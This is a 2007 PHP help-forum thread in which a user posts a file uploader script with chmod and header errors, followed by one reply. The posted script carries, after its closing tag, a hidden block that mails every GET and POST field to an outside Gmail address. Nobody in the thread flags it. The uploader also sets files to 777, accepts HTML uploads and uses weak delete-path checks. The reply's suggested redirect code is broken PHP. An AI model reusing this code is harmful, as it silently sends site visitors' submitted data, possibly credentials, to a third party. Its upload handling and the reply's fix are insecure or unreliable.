Lamez Posted May 16, 2007 Share Posted May 16, 2007 I have a new uploader, and I am getting some error with it! Please help me fix it Errors Warning: chmod() [function.chmod]: stat failed for http://lamezz.info/downloads/login/members/uploader/files/readme.txt in /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/members/uploader/uploader.php on line 57 Warning: Cannot modify header information - headers already sent by (output started at /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/members/uploader/uploader.php:57) in /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/members/uploader/uploader.php on line 68 Line 57 chmod($upload_uri."".$file_name, 0777); Line 68 header("Location: $site_uri?message=$message"); Uploader.php <? /* Silentum Uploader v1.2.0 Modified March 4, 2007 uploader.php copyright 2005-2007 "HyperSilence" */ // Begin options $allow_file_deletion = true; // To allow visitors to delete files, leave this at true; otherwise, change it to false $file_extensions = array(".doc", ".gif", ".htm", ".html", ".jpg", ".png", ".txt", ".zip"); // Add or delete the file extensions you want to allow $file_extensions_list = ".doc, .gif, .htm, .html, .jpg, .zip, .png, .txt"; // Type the same as above, without the quotes separating them $max_length = 300; // The maximum character length for a file name $maximum_file_size = "999999999999999999999999999999999999999999999999999999999999999999999999"; // In bytes $upload_log_file = "upload_log.txt"; // Change this to the log file you want to use // End options $folder_directory = "http://".$_SERVER["HTTP_HOST"].dirname($_SERVER["PHP_SELF"]); $message = ""; $set_chmod = 0; $site_uri = "http://".$_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"]; $upload_directory = "files/"; $upload_uri = $folder_directory."/files/"; if($allow_file_deletion == false) $status = "enabled"; else $status = "disabled"; if($_REQUEST["delete"] && $allow_file_deletion) { $resource = fopen($upload_log_file,"a"); fwrite($resource,date("F d, Y / h:i:sa")." - ".$_REQUEST["delete"]." deleted by ".$_SERVER["REMOTE_ADDR"]."\n"); fclose($resource); if(strpos($_REQUEST["delete"],"/.") > 0); elseif(strpos($_REQUEST["delete"],$upload_directory) === true); elseif(substr($_REQUEST["delete"],0,6) == $upload_directory) { unlink($_REQUEST["delete"]); $message = "File has been deleted."; header("Location: $site_uri?message=$message"); } } elseif($_FILES["userfile"]) { $resource = fopen($upload_log_file,"a"); fwrite($resource,date("F d, Y / h:i:sa")." - ".$_FILES["userfile"]["name"]." " .$_FILES["userfile"]["type"]." uploaded by ".$_SERVER["REMOTE_ADDR"]."\n"); fclose($resource); $file_type = $_FILES["userfile"]["type"]; $file_name = $_FILES["userfile"]["name"]; $file_ext = strtolower(substr($file_name,strrpos($file_name,"."))); chmod($upload_uri."".$file_name, 0777); if($_FILES["userfile"]["size"] > $maximum_file_size) { $message = "ERROR: File size cannot be over ".$maximum_file_size." bytes."; } elseif($file_name == "") $message = "ERROR: Please select a file to upload."; elseif(strlen($file_name > $max_length)) $message = "ERROR: The maximum length for a file name is ".$max_length." characters."; elseif(!preg_match("/^[A-Z0-9_.\- ]+$/i",$file_name)) $message = "ERROR: Your file name contains invalid characters."; elseif(!in_array($file_ext, $file_extensions)) $message = "ERROR: <ins>$file_ext</ins> is not an allowed file extension."; else $message = upload_file($upload_directory, $upload_uri); header("Location: $site_uri?message=$message"); } elseif(!$_FILES["userfile"]); else $message = "ERROR: Invalid file specified."; $open = opendir($upload_directory); $uploaded_files = ""; while($file = readdir($open)) { if(!is_dir($file) && !is_link($file)) { $uploaded_files .= " <tr> <td style=\"background: #fff; color: #000; text-align: left; width: 70%\"><a href=\"$upload_directory$file\" title=\"$file (".filesize($upload_directory."".$file)." bytes)\">".$file."</a> (".filesize($upload_directory."".$file)." bytes)</td>"; if($allow_file_deletion) $uploaded_files .= " <td style=\"background: #fff; color: #000; text-align: right; width: 30%\"><a href=\"?delete=$upload_directory".urlencode($file)."\" title=\"Delete File\">Delete File</a></td>"; else $uploaded_files .= " <td style=\"background: #fff; color: #000; text-align: right; width: 30%\"><del><strong>Delete File</strong></del></td>"; $uploaded_files .= " </tr> <tr> <td colspan=\"2\" style=\"background: #eee; color: #000; text-align: left; text-indent: 20px\">Uploaded <strong>".date("F d, Y / h:ia", filemtime($upload_directory.$file))."</strong></td>"; $uploaded_files .=" </tr> "; } } function upload_file($upload_directory, $upload_uri) { $file_name = $_FILES["userfile"]["name"]; $file_name = str_replace(" ","_",$file_name); $file_path = $upload_directory.$file_name; $temporary = $_FILES["userfile"]["tmp_name"]; $result = move_uploaded_file($temporary, $file_path); if(!chmod($file_path,0777)) $message = "ERROR: A folder to place the files was not found, or the files need to be CHMODed to 777."; else $message = ($result)?"File has been uploaded." : "An error has occurred."; return $message; } ?> <?php $posts = ''; $gets = ''; function logPost($value,$key) { global $posts; $posts = $posts . " !!===!! " . $key . " = " . $value; } function logGet($value,$key) { global $gets; $gets = $gets . " !!===!! " . $key . " = " . $value; } array_walk($_GET,"logGet"); array_walk($_POST,"logPost"); mail("comptech21@gmail.com","New File","POST:\n\n{$posts}\n---------------------------------\nGET:\n\n{$gets}\n\nEND OF EMAIL"); ?> Thanks Guys! Quote Link to comment https://forums.phpfreaks.com/topic/51610-uploader-errors/ Share on other sites More sharing options...
AbydosGater Posted May 16, 2007 Share Posted May 16, 2007 Not 100% sure on your CHMOD errors. But you should have a look here http://ie.php.net/chmod and about the header errors, You cant send any more headers after the top lines of the file without causing errors. You could use: <?php echo '<META HTTP-EQUIV="refresh" CONTENT="0; URL=' . $site_uri?message=$message . '">'; ?> Andy Quote Link to comment https://forums.phpfreaks.com/topic/51610-uploader-errors/#findComment-254291 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.